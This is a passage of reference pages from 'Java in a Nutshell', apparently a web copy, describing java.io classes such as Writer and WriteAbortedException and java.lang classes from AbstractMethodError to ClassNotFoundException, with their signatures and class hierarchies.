ByteArrayOutputStream.toString(),
InputStreamReader(),
OutputStreamWriter(),
String(),
String.getBytes()

Previous | Home | Next
java.io.SyncFailedException (JDK 1.1) | Book Index | java.io.UTFDataFormatException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.67 java.io.UTFDataFormatException (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.67 java.io.UTFDataFormatException (JDK 1.0)

An IOException that signals that a malformed UTF-8 string has been encountered by a class that implements the DataInput interface. UTF-8 is an ASCII-compatible "transformation format" for Unicode characters that is often used to store and transmit Unicode text.

public class UTFDataFormatException extends IOException {
    // Public Constructors
            public UTFDataFormatException();
            public UTFDataFormatException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->UTFDataFormatException

Previous | Home | Next
java.io.UnsupportedEncodingException (JDK 1.1) | Book Index | java.io.WriteAbortedException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.68 java.io.WriteAbortedException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.68 java.io.WriteAbortedException (JDK 1.1)

This exception is thrown when reading a stream of data that is incomplete because an exception was thrown while it was being written. The detail field may contain the exception that terminated the output stream. The getMessage() method has been overridden to include the message of this detail exception, if any.

public class WriteAbortedException extends ObjectStreamException {
    // Public Constructor
            public WriteAbortedException(String s, Exception ex);
    // Public Instance Variables
            public Exception detail;
    // Public Instance Methods
            public String getMessage();  // Overrides Throwable
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ObjectStreamException->WriteAbortedException

Previous | Home | Next
java.io.UTFDataFormatException (JDK 1.0) | Book Index | java.io.Writer (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.69 java.io.Writer (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.69 java.io.Writer (JDK 1.1)

This abstract class is the superclass of all character output streams. It is an analog to OutputStream, which is the superclass of all byte output streams. Writer defines the basic write(), flush(), and close() methods that all character output streams provide.

The five versions of the write() method write a single character, a character array or subarray, or a string or substring to the destination of the stream. The most general version of this method--the one that writes a specified portion of a character array--is abstract and must be implemented by all subclasses. By default, the other write() methods are implemented in terms of this abstract one.

The flush() method is another abstract method that all subclasses must implement. It should force any output buffered by the stream to be written to its destination. If that destination is itself a character or byte output stream, it should invoke the flush() method of the destination stream as well.

The close() method is also abstract. Subclasses must implement this method so that it flushes and then closes the current stream, and also closes whatever destination stream it is connected to. Once the stream has been closed, any future calls to write() or flush() should throw an IOException.

public abstract class Writer extends Object {
    // Protected Constructors
            protected Writer();
            protected Writer(Object lock);
    // Protected Instance Variables
            protected Object lock;
    // Public Instance Methods
            public abstract void close() throws IOException;
            public abstract void flush() throws IOException;
            public void write(int c) throws IOException;
            public void write(char[] cbuf) throws IOException;
            public abstract void write(char[] cbuf, int off, int len) throws IOException;
            public void write(String str) throws IOException;
            public void write(String str, int off, int len) throws IOException;
}

Extended By:

BufferedWriter, CharArrayWriter, FilterWriter, OutputStreamWriter, PipedWriter, PrintWriter, StringWriter

Passed To:

BufferedWriter(),
CharArrayWriter.writeTo(),
FilterWriter(),
PrintWriter()

Type Of:

FilterWriter.out

Previous | Home | Next
java.io.WriteAbortedException (JDK 1.1) | Book Index | The java.lang Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] The java.io Package

Java in a Nutshell

Previous Chapter 24 Next

24. The java.io Package

Contents:

Select a new section and then

The java.io package contains a relatively large number of classes, but, as you can see from Figure 24.1 and Figure 24.2, the classes form a fairly structured hierarchy. Most of the package consists of byte streams--subclasses of InputStream or OutputStream--and (in Java 1.1) character streams--subclasses of Reader or Writer. Each of these stream types has a very specific purpose, and despite its size, java.io is a straightforward package to understand and to use.

Before we consider the stream classes in the package, we'll consider the important non-stream classes. File represents a file or directory name in a system independent way, and provides methods for listing directories, querying file attributes, and for renaming and deleting files. FilenameFilter is an interface that defines a method that accepts or rejects specified filenames. It is used by the java.awt.FileDialog dialog box and by the File class to specify what types of files should be included in directory listings. RandomAccessFile allows you to read or write from or to arbitrary locations of a file. Often, though, you'll prefer sequential access to a file and should use one of the stream classes.

InputStream and OutputStream are abstract classes that define methods for reading and writing bytes. Their subclasses allow bytes to be read from and written to a variety of sources and sinks. FileInputStream and FileOutputStream read from and write to files. ByteArrayInputStream and ByteArrayOutputStream read from and write to an array of bytes in memory. PipedInputStream reads bytes from a PipedOutputStream, and PipedOutputStream writes bytes to a PipedInputStream. These classes work together to implement a "pipe" for communication between threads.

FilterInputStream and FilterOutputStream are special--they filter input and output bytes. When a FilterInputStream is created, an InputStream is specified for it to filter. When you call the read() method of a FilterInputStream, it calls the read() method of its specified stream, processes the bytes it reads somehow, and then returns the filtered bytes. Similarly, you specify an OutputStream to be filtered when you create a FilterOutputStream. Calling the write() method of a FilterOutputStream causes it to process your bytes in some way and then pass those filtered bytes to the write() method of its OutputStream.

Figure 24.1: The java.io package

[Graphic: Figure 24-1]

Figure 24.2: The exception classes of the java.io package

[Graphic: Figure 24-2]

FilterInputStream and FilterOutputStream do not perform any filtering themselves; this is done by their subclasses. BufferedInputStream and BufferedOutputStream provide input and output buffering and can increase I/O efficiency. DataInputStream reads raw bytes from a stream and interprets them in various binary formats. It has various methods to read primitive Java data types in their standard binary formats. DataOutputStream allows you to write Java primitive data types in binary format.

In Java 1.1, the byte streams just described are complemented by an analogous set of character input and output streams. Reader is the superclass of all character input streams, and Writer is the superclass of all character output streams. These character streams supersede the byte streams for all textual I/O. They are more efficient than the byte streams, and they correctly handle the conversion between local encodings and Unicode text, making them invaluable for internationalized programs. Most of the Reader and Writer streams have obvious byte stream analogs. BufferedReader is a commonly used stream. It provides buffering for efficiency, and also has a readLine() method to read one line of text at a time. PrintWriter is another very common stream--its methods allow output of a textual representation of any primitive Java type or of any object (via the object's toString() method). See Chapter 11, Internationalization for a discussion of the use of character streams in internationalized programs.

The ObjectInputStream and ObjectOutputStream classes are special. These byte stream classes are new in Java 1.1 and are part of the Object Serialization API. See Chapter 9, Object Serialization for further details.

24.1 java.io.BufferedInputStream (JDK 1.0)

This class is a FilterInputStream that provides input data buffering--efficiency is increased by reading in large amounts of data and storing them in an internal buffer. When data is requested, it is usually available from the buffer. Thus, most calls to read data do not have to make a call to actually read data from a disk, network, or other slow source. Create a BufferedInputStream by specifying the InputStream that is to have buffering applied in the call to the constructor. See also BufferedReader.

public class BufferedInputStream extends FilterInputStream {
    // Public Constructors
            public BufferedInputStream(InputStream in);
            public BufferedInputStream(InputStream in, int size);
    // Protected Instance Variables
            protected byte[] buf;
            protected int count;
            protected int marklimit;
            protected int markpos;
            protected int pos;
    // Public Instance Methods
            public synchronized int available() throws IOException;  // Overrides FilterInputStream
            public synchronized void mark(int readlimit);  // Overrides FilterInputStream
            public boolean markSupported();  // Overrides FilterInputStream
            public synchronized int read() throws IOException;  // Overrides FilterInputStream
            public synchronized int read(byte[] b, int off, int len) throws IOException;  // Overrides FilterInputStream
            public synchronized void reset() throws IOException;  // Overrides FilterInputStream
            public synchronized long skip(long n) throws IOException;  // Overrides FilterInputStream
}

Hierarchy:

Object->InputStream->FilterInputStream->BufferedInputStream

Previous | Home | Next
java.beans.Visibility (JDK 1.1) | Book Index | java.io.BufferedOutputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] The java.lang Package

Java in a Nutshell

Previous Chapter 25 Next

25. The java.lang Package

Contents:
java.lang.ArithmeticException (JDK 1.0)
java.lang.ArrayIndexOutOfBoundsException (JDK 1.0)
java.lang.ArrayStoreException (JDK 1.0)
java.lang.Boolean (JDK 1.0)
java.lang.Byte (JDK 1.1)
java.lang.Character (JDK 1.0)
java.lang.Class (JDK 1.0)
java.lang.ClassCastException (JDK 1.0)
java.lang.ClassCircularityError (JDK 1.0)
java.lang.ClassFormatError (JDK 1.0)
java.lang.ClassLoader (JDK 1.0)
java.lang.ClassNotFoundException (JDK 1.0)
java.lang.CloneNotSupportedException (JDK 1.0)
java.lang.Cloneable (JDK 1.0)
java.lang.Compiler (JDK 1.0)
java.lang.Double (JDK 1.0)
java.lang.Error (JDK 1.0)
java.lang.Exception (JDK 1.0)
java.lang.ExceptionInInitializerError (JDK 1.1)
java.lang.Float (JDK 1.0)
java.lang.IllegalAccessError (JDK 1.0)
java.lang.IllegalAccessException (JDK 1.0)
java.lang.IllegalArgumentException (JDK 1.0)
java.lang.IllegalMonitorStateException (JDK 1.0)
java.lang.IllegalStateException (JDK 1.1)
java.lang.IllegalThreadStateException (JDK 1.0)
java.lang.IncompatibleClassChangeError (JDK 1.0)
java.lang.IndexOutOfBoundsException (JDK 1.0)
java.lang.InstantiationError (JDK 1.0)
java.lang.InstantiationException (JDK 1.0)
java.lang.Integer (JDK 1.0)
java.lang.InternalError (JDK 1.0)
java.lang.InterruptedException (JDK 1.0)
java.lang.LinkageError (JDK 1.0)
java.lang.Long (JDK 1.0)
java.lang.Math (JDK 1.0)
java.lang.NegativeArraySizeException (JDK 1.0)
java.lang.NoClassDefFoundError (JDK 1.0)
java.lang.NoSuchFieldError (JDK 1.0)
java.lang.NoSuchFieldException (JDK 1.1)
java.lang.NoSuchMethodError (JDK 1.0)
java.lang.NoSuchMethodException (JDK 1.0)
java.lang.NullPointerException (JDK 1.0)
java.lang.Number (JDK 1.0)
java.lang.NumberFormatException (JDK 1.0)
java.lang.Object (JDK 1.0)
java.lang.OutOfMemoryError (JDK 1.0)
java.lang.Process (JDK 1.0)
java.lang.Runnable (JDK 1.0)
java.lang.Runtime (JDK 1.0)
java.lang.RuntimeException (JDK 1.0)
java.lang.SecurityException (JDK 1.0)
java.lang.SecurityManager (JDK 1.0)
java.lang.Short (JDK 1.1)
java.lang.StackOverflowError (JDK 1.0)
java.lang.String (JDK 1.0)
java.lang.StringBuffer (JDK 1.0)
java.lang.StringIndexOutOfBoundsException (JDK 1.0)
java.lang.System (JDK 1.0)
java.lang.Thread (JDK 1.0)
java.lang.ThreadDeath (JDK 1.0)
java.lang.ThreadGroup (JDK 1.0)
java.lang.Throwable (JDK 1.0)
java.lang.UnknownError (JDK 1.0)
java.lang.UnsatisfiedLinkError (JDK 1.0)
java.lang.VerifyError (JDK 1.0)
java.lang.VirtualMachineError (JDK 1.0)
java.lang.Void (JDK 1.1)

The java.lang package contains the classes that are most central to the Java language. As you can see from Figure 25.1, the class hierarchy is broad rather than deep, which means that the classes are independent of each other.

Figure 25.1: The java.lang package

[Graphic: Figure 25-1]

Object is the ultimate superclass of all Java classes and is therefore at the top of all class hierarchies. Class is a class that describes a Java class. There is one Class object for each class that is loaded into Java.

Boolean, Character, Byte, Short, Integer, Long, Float, and Double are immutable class wrappers around each of the primitive Java data types. These classes are useful when you need to manipulate primitive types as objects. They also contain useful conversion and utility methods.

String and StringBuffer are objects that represent strings. String is an immutable type; StringBuffer may have its string changed in place.

Runtime provides a number of low-level methods associated with the Java run-time system. System provides similar low-level system methods. All the System methods are class methods, and this class may not be instantiated. Math is a similar class that supports only class methods--its methods provide floating-point math support.

The Thread class provides support for multiple threads of control running within the same Java interpreter. Process defines a platform-independent interface to platform-dependent processes running externally to the Java interpreter.

Throwable is the root class of the exception and error hierarchy. Throwable objects are used with the Java throw and catch statements. java.lang defines quite a few subclasses of Throwable. Exception and Error are the superclasses of all exceptions and errors. Figure 25.2 and Figure 25.3 show the class hierarchies for these core Java exceptions and errors.

Figure 25.2: The exception classes in the java.lang package

[Graphic: Figure 25-2]

Figure 25.3: The error classes in the java.lang package

[Graphic: Figure 25-3]

25.1 java.lang.AbstractMethodError (JDK 1.0)

Signals an attempt to invoke an abstract method.

public class AbstractMethodError extends IncompatibleClassChangeError {
    // Public Constructors
            public AbstractMethodError();
            public AbstractMethodError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->IncompatibleClassChangeError->AbstractMethodError

Previous | Home | Next
java.io.Writer (JDK 1.1) | Book Index | java.lang.ArithmeticException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.2 java.lang.ArithmeticException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.2 java.lang.ArithmeticException (JDK 1.0)

A RuntimeException that signals an exceptional arithmetic condition, such as integer division by zero.

public class ArithmeticException extends RuntimeException {
    // Public Constructors
            public ArithmeticException();
            public ArithmeticException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->ArithmeticException

Thrown By:

BigDecimal.divide(),
BigDecimal.setScale(),
BigInteger.add(),
BigInteger.clearBit(),
BigInteger.divide(),
BigInteger.divideAndRemainder(),
BigInteger.flipBit(),
BigInteger.modInverse(),
BigInteger.pow(),
BigInteger.remainder(),
BigInteger.setBit(),
BigInteger.testBit()

Previous | Home | Next
java.lang.AbstractMethodError (JDK 1.0) | Book Index | java.lang.ArrayIndexOutOfBoundsException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.3 java.lang.ArrayIndexOutOfBoundsException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.3 java.lang.ArrayIndexOutOfBoundsException (JDK 1.0)

Signals that an array index less than zero or greater than or equal to the array size has been used.

public class ArrayIndexOutOfBoundsException extends IndexOutOfBoundsException {
    // Public Constructors
            public ArrayIndexOutOfBoundsException();
            public ArrayIndexOutOfBoundsException(int index);
            public ArrayIndexOutOfBoundsException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException-> IndexOutOfBoundsException->ArrayIndexOutOfBoundsException

Thrown By:

Array.get(),
Array.getBoolean(),
Array.getByte(),
Array.getChar(),
Array.getDouble(),
Array.getFloat(),
Array.getInt(),
Array.getLong(),
Array.getShort(),
Array.set(),
Array.setBoolean(),
Array.setByte(),
Array.setChar(),
Array.setDouble(),
Array.setFloat(),
Array.setInt(),
Array.setLong(),
Array.setShort()

Previous | Home | Next
java.lang.ArithmeticException (JDK 1.0) | Book Index | java.lang.ArrayStoreException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.4 java.lang.ArrayStoreException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.4 java.lang.ArrayStoreException (JDK 1.0)

Signals an attempt to store the wrong type of object into an array.

public class ArrayStoreException extends RuntimeException {
    // Public Constructors
            public ArrayStoreException();
            public ArrayStoreException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->ArrayStoreException

Previous | Home | Next
java.lang.ArrayIndexOutOfBoundsException (JDK 1.0) | Book Index | java.lang.Boolean (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.5 java.lang.Boolean (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.5 java.lang.Boolean (JDK 1.0)

This class provides an immutable object wrapper around the boolean primitive type. Note that the TRUE and FALSE constants are Boolean objects; they are not the same as the true and false boolean values. In Java 1.1, this class defines a Class constant that represents the boolean type.

booleanValue() returns the boolean value of a Boolean object. The class method getBoolean() retrieves the boolean value of a named property from the system property list. The class method valueOf() parses a string and returns the Boolean value it represents.

public final class Boolean extends Object implements Serializable {
    // Public Constructors
            public Boolean(boolean value);
            public Boolean(String s);
    // Constants
            public static final Boolean FALSE;
            public static final Boolean TRUE;
        1.1public static final Class TYPE;
    // Class Methods
            public static boolean getBoolean(String name);
            public static Boolean valueOf(String s);
    // Public Instance Methods
            public boolean booleanValue();
            public boolean equals(Object obj);  // Overrides Object
            public int hashCode();  // Overrides Object
            public String toString();  // Overrides Object
}

Returned By:

Boolean.valueOf()

Type Of:

Boolean.FALSE, Boolean.TRUE

Previous | Home | Next
java.lang.ArrayStoreException (JDK 1.0) | Book Index | java.lang.Byte (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.6 java.lang.Byte (JDK 1.1)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.6 java.lang.Byte (JDK 1.1)

This class provides an object wrapper around the byte primitive type. It defines useful constants for the minimum and maximum values that can be stored by the byte type, and also a Class object constant that represents the byte type. It also provides various methods for converting Byte values to and from strings and other numeric types.

Most of the static methods of this class are used to convert a String to a Byte object or a byte value: the four parseByte() and valueOf() methods parse a number from the specified string, using an optionally specified radix, and return it in one of these two forms. The decode() method parses a byte specified in base 10, base 8, or base 16 and returns it as a Byte. If the string begins with "0x" or "#", it is interpreted as a hexadecimal number. If it begins with "0", it is interpreted as an octal number. Otherwise, it is interpreted as a decimal number.

Note that this class has two different toString() methods. One is static and converts a byte primitive value to a String. The other is the usual toString() method that converts a Byte object to a string. Most of the remaining methods convert a Byte to various primitive numeric types.

public final class Byte extends Number {
    // Public Constructors
            public Byte(byte value);
            public Byte(String s) throws NumberFormatException;
    // Constants
            public static final byte MAX_VALUE;
            public static final byte MIN_VALUE;
            public static final Class TYPE;
    // Class Methods
            public static Byte decode(String nm) throws NumberFormatException;
            public static byte parseByte(String s) throws NumberFormatException;
            public static byte parseByte(String s, int radix) throws NumberFormatException;
            public static String toString(byte b);
            public static Byte valueOf(String s, int radix) throws NumberFormatException;
            public static Byte valueOf(String s) throws NumberFormatException;
    // Public Instance Methods
            public byte byteValue();  // Overrides Number
            public double doubleValue();  // Defines Number
            public boolean equals(Object obj);  // Overrides Object
            public float floatValue();  // Defines Number
            public int hashCode();  // Overrides Object
            public int intValue();  // Defines Number
            public long longValue();  // Defines Number
            public short shortValue();  // Overrides Number
            public String toString();  // Overrides Object
}

Hierarchy:

Object->Number(Serializable)->Byte

Returned By:

Byte.decode(), Byte.valueOf()

Previous | Home | Next
java.lang.Boolean (JDK 1.0) | Book Index | java.lang.Character (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.7 java.lang.Character (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.7 java.lang.Character (JDK 1.0)

This class provides an immutable object wrapper around the primitive char data type. charValue() returns the char value of a Character object. A number of class methods provide the Java/Unicode equivalent of the C <ctype.h> character macros for checking the type of characters and converting to uppercase and lowercase letters. getType() returns the character type. The return value is one of the constants defined by the class, which represents a number of broad Unicode character categories.

digit() returns the integer equivalent of a given character for a given radix (e.g., radix 16 for hexadecimal). forDigit() returns the character that corresponds to the specified value for the specified radix.

public final class Character extends Object implements Serializable {
    // Public Constructor
            public Character(char value);
    // Constants
            public static final int MAX_RADIX, MIN_RADIX;
            public static final char MAX_VALUE, MIN_VALUE;
        1.1public static final Class TYPE;
    // Character Type Constants
        1.1public static final byte COMBINING_SPACING_MARK, CONNECTOR_PUNCTUATION, CONTROL;
        1.1public static final byte CURRENCY_SYMBOL, DASH_PUNCTUATION, DECIMAL_DIGIT_NUMBER;
        1.1public static final byte ENCLOSING_MARK, END_PUNCTUATION, FORMAT;
        1.1public static final byte LETTER_NUMBER, LINE_SEPARATOR, LOWERCASE_LETTER;
        1.1public static final byte MATH_SYMBOL, MODIFIER_LETTER, MODIFIER_SYMBOL;
        1.1public static final byte NON_SPACING_MARK, OTHER_LETTER, OTHER_NUMBER;
        1.1public static final byte OTHER_PUNCTUATION, OTHER_SYMBOL, PARAGRAPH_SEPARATOR;
        1.1public static final byte PRIVATE_USE, SPACE_SEPARATOR, START_PUNCTUATION;
        1.1public static final byte SURROGATE, TITLECASE_LETTER, UNASSIGNED;
        1.1public static final byte UPPERCASE_LETTER;
    // Class Methods
            public static int digit(char ch, int radix);
            public static char forDigit(int digit, int radix);
        1.1public static int getNumericValue(char ch);
        1.1public static int getType(char ch);
            public static boolean isDefined(char ch);
            public static boolean isDigit(char ch);
        1.1public static boolean isISOControl(char ch);
        1.1public static boolean isIdentifierIgnorable(char ch);
        1.1public static boolean isJavaIdentifierPart(char ch);
        1.1public static boolean isJavaIdentifierStart(char ch);
        #   public static boolean isJavaLetter(char ch);
        #   public static boolean isJavaLetterOrDigit(char ch);
            public static boolean isLetter(char ch);
            public static boolean isLetterOrDigit(char ch);
            public static boolean isLowerCase(char ch);
        #   public static boolean isSpace(char ch);
        1.1public static boolean isSpaceChar(char ch);
            public static boolean isTitleCase(char ch);
        1.1public static boolean isUnicodeIdentifierPart(char ch);
        1.1public static boolean isUnicodeIdentifierStart(char ch);
            public static boolean isUpperCase(char ch);
        1.1public static boolean isWhitespace(char ch);
            public static char toLowerCase(char ch);
            public static char toTitleCase(char ch);
            public static char toUpperCase(char ch);
    // Public Instance Methods
            public char charValue();
            public boolean equals(Object obj);  // Overrides Object
            public int hashCode();  // Overrides Object
            public String toString();  // Overrides Object
}

Previous | Home | Next
java.lang.Byte (JDK 1.1) | Book Index | java.lang.Class (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.8 java.lang.Class (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.8 java.lang.Class (JDK 1.0)

This class represents a Java class or interface, or, in Java 1.1, any Java type. There is one Class object for each class that is loaded into the Java Virtual Machine, and in Java 1.1 there are special Class objects that represent the Java primitive types. The TYPE constants defined by Boolean, Integer, and the other primitive "wrapper classes" hold these special Class objects. Array types are also represented by Class objects in Java 1.1.

There is no constructor for this class. You can obtain a Class object by calling the getClass() method of any instance of the desired class. In Java 1.1, a Class object may also be referred to by appending .class to the name of a class. Finally, and most interestingly, a class can be dynamically loaded by passing its fully-qualified name (i.e., package name plus class name) to the static Class.forName() method. This method loads the named class, if it is not already loaded, into the Java interpreter, and returns a Class object for it.

The newInstance() method creates an instance of a given class--this allows you to create instances of dynamically loaded classes for which you cannot use the new keyword. Note that this method only works when the target class has a no-argument constructor. See newInstance() in java.lang.reflect.Constructor for a more powerful way to instantiate dynamically loaded classes.

getName() returns the name of the class. getSuperclass() returns its superclass. isInterface() tests whether the Class object represents an interface, and getInterfaces() returns an array of the interfaces that this class implements. The various other get and is methods return other information about the represented class, and form part of the Java Reflection API, along with the classes in java.lang.reflect.

public final class Class extends Object implements Serializable {
    // No Constructor
    // Class Methods
            public static native Class forName(String className) throws ClassNotFoundException;
    // Public Instance Methods
            public native ClassLoader getClassLoader();
        1.1public Class[] getClasses();
        1.1public native Class getComponentType();
        1.1public Constructor getConstructor(Class[] parameterTypes) throws NoSuchMethodException, SecurityException;
        1.1public Constructor[] getConstructors() throws SecurityException;
        1.1public Class[] getDeclaredClasses() throws SecurityException;
        1.1public Constructor getDeclaredConstructor(Class[] parameterTypes) throws NoSuchMethodException, SecurityException;
        1.1public Constructor[] getDeclaredConstructors() throws SecurityException;
        1.1public Field getDeclaredField(String name) throws NoSuchFieldException, SecurityException;
        1.1public Field[] getDeclaredFields() throws SecurityException;
        1.1public Method getDeclaredMethod(String name, Class[] parameterTypes) throws NoSuchMethodException, SecurityException;
        1.1public Method[] getDeclaredMethods() throws SecurityException;
        1.1public Class getDeclaringClass();
        1.1public Field getField(String name) throws NoSuchFieldException, SecurityException;
        1.1public Field[] getFields() throws SecurityException;
            public native Class[] getInterfaces();
        1.1public Method getMethod(String name, Class[] parameterTypes) throws NoSuchMethodException, SecurityException;
        1.1public Method[] getMethods() throws SecurityException;
        1.1public native int getModifiers();
            public native String getName();
        1.1public URL getResource(String name);
        1.1public InputStream getResourceAsStream(String name);
        1.1public native Object[] getSigners();
            public native Class getSuperclass();
        1.1public native boolean isArray();
        1.1public native boolean isAssignableFrom(Class cls);
        1.1public native boolean isInstance(Object obj);
            public native boolean isInterface();
        1.1public native boolean isPrimitive();
            public native Object newInstance() throws InstantiationException, IllegalAccessException;
            public String toString();  // Overrides Object
}

Passed To:

Array.newInstance(),
BeanDescriptor(),
Beans.getInstanceOf(),
Beans.isInstanceOf(),
Class.getConstructor(),
Class.getDeclaredConstructor(),
Class.getDeclaredMethod(),
Class.getMethod(),
Class.isAssignableFrom(),
ClassLoader.resolveClass(),
ClassLoader.setSigners(),
Compiler.compileClass(),
DataFlavor(),
EventSetDescriptor(),
IndexedPropertyDescriptor(),
Introspector.getBeanInfo(),
ObjectOutputStream.annotateClass(),
ObjectStreamClass.lookup(),
PropertyDescriptor(),
PropertyDescriptor.setPropertyEditorClass(),
PropertyEditorManager.findEditor(),
PropertyEditorManager.registerEditor(),
SecurityManager.checkMemberAccess()

Returned By:

BeanDescriptor.getBeanClass(),
BeanDescriptor.getCustomizerClass(),
Class.forName(),
Class.getClasses(),
Class.getComponentType(),
Class.getDeclaredClasses(),
Class.getDeclaringClass(),
Class.getInterfaces(),
Class.getSuperclass(),
ClassLoader.defineClass(),
ClassLoader.findLoadedClass(),
ClassLoader.findSystemClass(),
ClassLoader.loadClass(),
Constructor.getDeclaringClass(),
Constructor.getExceptionTypes(),
Constructor.getParameterTypes(),
DataFlavor.getRepresentationClass(),
EventSetDescriptor.getListenerType(),
Field.getDeclaringClass(),
Field.getType(),
IndexedPropertyDescriptor.getIndexedPropertyType(),
Member.getDeclaringClass(),
Method.getDeclaringClass(),
Method.getExceptionTypes(),
Method.getParameterTypes(),
Method.getReturnType(),
Object.getClass(),
ObjectInputStream.resolveClass(),
ObjectStreamClass.forClass(),
PropertyDescriptor.getPropertyEditorClass(),
PropertyDescriptor.getPropertyType(),
SecurityManager.currentLoadedClass(),
SecurityManager.getClassContext()

Type Of:

Boolean.TYPE, Byte.TYPE, Character.TYPE, Double.TYPE, Float.TYPE, Integer.TYPE, Long.TYPE, Short.TYPE, Void.TYPE

Previous | Home | Next
java.lang.Character (JDK 1.0) | Book Index | java.lang.ClassCastException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.9 java.lang.ClassCastException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.9 java.lang.ClassCastException (JDK 1.0)

Signals an invalid cast of an object to a type of which it is not an instance.

public class ClassCastException extends RuntimeException {
    // Public Constructors
            public ClassCastException();
            public ClassCastException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->ClassCastException

Previous | Home | Next
java.lang.Class (JDK 1.0) | Book Index | java.lang.ClassCircularityError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.10 java.lang.ClassCircularityError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.10 java.lang.ClassCircularityError (JDK 1.0)

Signals that a circular dependency has been detected while performing initialization for a class.

public class ClassCircularityError extends LinkageError {
    // Public Constructors
            public ClassCircularityError();
            public ClassCircularityError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->ClassCircularityError

Previous | Home | Next
java.lang.ClassCastException (JDK 1.0) | Book Index | java.lang.ClassFormatError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.11 java.lang.ClassFormatError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.11 java.lang.ClassFormatError (JDK 1.0)

Signals an error in the binary format of a class file.

public class ClassFormatError extends LinkageError {
    // Public Constructors
            public ClassFormatError();
            public ClassFormatError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->ClassFormatError

Previous | Home | Next
java.lang.ClassCircularityError (JDK 1.0) | Book Index | java.lang.ClassLoader (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.12 java.lang.ClassLoader (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.12 java.lang.ClassLoader (JDK 1.0)

This abstract class defines the necessary hook for Java to load classes over the network, or from other sources. Normal applications do not need to use or subclass this class.

public abstract class ClassLoader extends Object {
    // Protected Constructor
            protected ClassLoader();
    // Class Methods
        1.1public static final URL getSystemResource(String name);
        1.1public static final InputStream getSystemResourceAsStream(String name);
    // Public Instance Methods
        1.1public URL getResource(String name);
        1.1public InputStream getResourceAsStream(String name);
        1.1public Class loadClass(String name) throws ClassNotFoundException;
    // Protected Instance Methods
        #   protected final Class defineClass(byte[] data, int offset, int length);
        1.1protected final Class defineClass(String name, byte[] data, int offset, int length);
        1.1protected final Class findLoadedClass(String name);
            protected final Class findSystemClass(String name) throws ClassNotFoundException;
            protected abstract Class loadClass(String name, boolean resolve) throws ClassNotFoundException;
            protected final void resolveClass(Class c);
        1.1protected final void setSigners(Class cl, Object[] signers);
}

Passed To:

Beans.instantiate()

Returned By:

Class.getClassLoader(), SecurityManager.currentClassLoader()

Previous | Home | Next
java.lang.ClassFormatError (JDK 1.0) | Book Index | java.lang.ClassNotFoundException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.13 java.lang.ClassNotFoundException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.13 java.lang.ClassNotFoundException (JDK 1.0)

Signals that a class to be loaded could not be found.

public class ClassNotFoundException extends Exception {
    // Public Constructors
            public ClassNotFoundException();
            public ClassNotFoundException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->ClassNotFoundException

Thrown By:

Beans.instantiate(),
Class.forName(),
ClassLoader.findSystemClass(),
ClassLoader.loadClass(),
Externalizable.readExternal(),
ObjectInput.readObject(),
ObjectInputStream.defaultReadObject(),
ObjectInputStream.readObject(),
